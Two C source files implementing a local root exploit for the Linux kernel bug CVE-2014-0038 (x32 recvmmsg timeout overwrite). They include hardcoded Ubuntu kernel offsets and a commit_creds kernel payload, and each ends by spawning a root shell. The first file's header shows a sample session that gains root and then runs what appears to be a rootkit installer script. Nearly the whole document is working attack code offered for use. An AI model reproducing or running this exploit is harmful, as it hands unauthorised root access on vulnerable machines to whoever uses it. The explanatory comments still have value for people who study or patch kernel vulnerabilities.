/* 
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left. 
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
  char *kernel_version;
  unsigned long dest; // net_sysctl_root + 96
  unsigned long original_value; // net_ctl_permissions
  unsigned long prepare_kernel_cred;
  unsigned long commit_creds;
};

struct offset offsets[] = {
  {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
  {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
  {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
  {NULL,0,0,0,0}
};

void udp(int b) {
  int sockfd;
  struct sockaddr_in servaddr,cliaddr;
  int s = 0xff+1;

  if(fork() == 0) {
    while(s > 0) {
      fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
      sleep(1);
      s--;
      fprintf(stderr,".");
    }

    sockfd = socket(AF_INET,SOCK_DGRAM,0);
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    servaddr.sin_port=htons(port);
    sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
    exit(0);
  }

}

void trigger() {
  open("/proc/sys/net/core/somaxconn",O_RDONLY);

  if(getuid() != 0) {
    fprintf(stderr,"not root, ya blew it!\n");
    exit(-1);
  }

  fprintf(stderr,"w00p w00p!\n");
  system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
  commit_creds(prepare_kernel_cred(0));
  return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
  asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
  int sockfd, retval, i;
  struct sockaddr_in sa;
  struct mmsghdr msgs[VLEN];
  struct iovec iovecs[VLEN];
  char buf[BUFSIZE];
  long mmapped;
  struct utsname u;
  struct offset *off = NULL;

  uname(&u);

  for(i=0;offsets[i].kernel_version != NULL;i++) {
    if(!strcmp(offsets[i].kernel_version,u.release)) {
      off = &offsets[i];
      break;
    }
  }

  if(!off) {
    fprintf(stderr,"no offsets for this kernel version..\n");
    exit(-1);
  }

  mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
  mmapped &= 0x000000ffffffffff;

  srand(time(NULL));
  port = (rand() % 30000)+1500;

  commit_creds = (_commit_creds)off->commit_creds;
  prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

  mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

  if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
  }

  memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

  memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

  if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
    perror("mprotect()");
    exit(-1);
  }

  sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  if (sockfd == -1) {
    perror("socket()");
    exit(-1);
  }

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  sa.sin_port = htons(port);

  if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("bind()");
    exit(-1);
  }

  memset(msgs, 0, sizeof(msgs));

  iovecs[0].iov_base = &buf;
  iovecs[0].iov_len = BUFSIZE;
  msgs[0].msg_hdr.msg_iov = &iovecs[0];
  msgs[0].msg_hdr.msg_iovlen = 1;

  for(i=0;i < 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
    if(!retval) {
      fprintf(stderr,"\nrecvmmsg() failed\n");
    }
  }

  close(sockfd); 

  fprintf(stderr,"\n");

  trigger();
}

/*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
* if the original byte at that address is known it can be overwritten
* with known data.
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
*
* Restrictions: The first long at the passed address (tv_sec) has to be positive
* and the second long (tv_nsec) has to be smaller than 1000000000.
*
* Overview: Target the release function pointer of the ptmx_fops structure located in
* non initialized (and thus writable) kernel memory. Zero out the three most
* significant bytes and thus turn it into a pointer to an address mappable in
* user space.
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
* is valid).
* Open /dev/ptmx, close it and enjoy.
*
* Not very beautiful but should be fairly reliable if symbols can be resolved.
*
* Tested on Ubuntu 13.10
*
* gcc timeoutpwn.c -o pwn && ./pwn
*
* Written by saelo
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8

/*
* Adapt these addresses for your need.
* see /boot/System.map* or /proc/kallsyms
* These are the offsets from ubuntu 3.11.0-12-generic.
*/
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

/*
* Match signature of int release(struct inode*, struct file*).
*
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
*/
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
  _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
  _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

  *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
  commit_creds(prepare_kernel_cred(0));

  return -1;
}

/*
* Write a zero to the byte at then given address.
* Only works if the current value is 0xff.
*/
void zero_out(long addr)
{
  int sockfd, retval, port, pid, i;
  struct sockaddr_in sa;
  char buf[BUFSIZE];
  struct mmsghdr msgs;
  struct iovec iovecs;

  srand(time(NULL));

  port = 1024 + (rand() % (0x10000 - 1024));

  sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  if (sockfd == -1) {
    perror("socket()");
    exit(EXIT_FAILURE);
  }

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  sa.sin_port = htons(port);
  if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("bind()");
    exit(EXIT_FAILURE);
  }

  memset(&msgs, 0, sizeof(msgs));
  iovecs.iov_base = buf;
  iovecs.iov_len = BUFSIZE;
  msgs.msg_hdr.msg_iov = &iovecs;
  msgs.msg_hdr.msg_iovlen = 1;

  /*
  * start a seperate process to send a udp message after 255 seconds so the syscall returns,
  * but not after updating the timout struct and writing the remaining time into it.
  * 0xff - 255 seconds = 0x00
  */
  printf("clearing byte at 0x%lx\n", addr);
  pid = fork();
  if (pid == 0) {
    memset(buf, 0x41, BUFSIZE);

    if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
      perror("socket()");
      exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);

    printf("waiting 255 seconds...\n");
    for (i = 0; i < 255; i++) {
      if (i % 10 == 0)
        printf("%is/255s\n", i);
      sleep(1);
    }

    printf("waking up parent...\n");
    sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
    exit(EXIT_SUCCESS);
  } else if (pid > 0) {
    retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
    if (retval == -1) {
      printf("address can&#39;t be written to, not a valid timespec struct\n");
      exit(EXIT_FAILURE);
    }
    waitpid(pid, 0, 0);
    printf("byte zeroed out\n");
  } else {
    perror("fork()");
    exit(EXIT_FAILURE);
  }
}

int main(int argc, char** argv)
{
  long code, target;
  int pwn;

  /* Prepare payload... */
  printf("preparing payload buffer...\n");
  code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
  memset((void*)code, 0x90, PAYLOADSIZE);
  code += PAYLOADSIZE - 1024;
  memcpy((void*)code, &kernel_payload, 1024);

  /*
  * Now clear the three most significant bytes of the fops pointer
  * to the release function.
  * This will make it point into the memory region mapped above.
  */
  printf("changing kernel pointer to point into controlled buffer...\n");
  target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
  zero_out(target + 7);
  zero_out(target + 6);
  zero_out(target + 5);

  /* ... and trigger. */
  printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
  pwn = open("/dev/ptmx", &#39;r&#39;);
  close(pwn);

  if (getuid() != 0) {
    printf("failed to get root :(\n");
    exit(EXIT_FAILURE);
  }

  printf("got root, enjoy :)\n");
  return execl("/bin/bash", "-sh", NULL);
}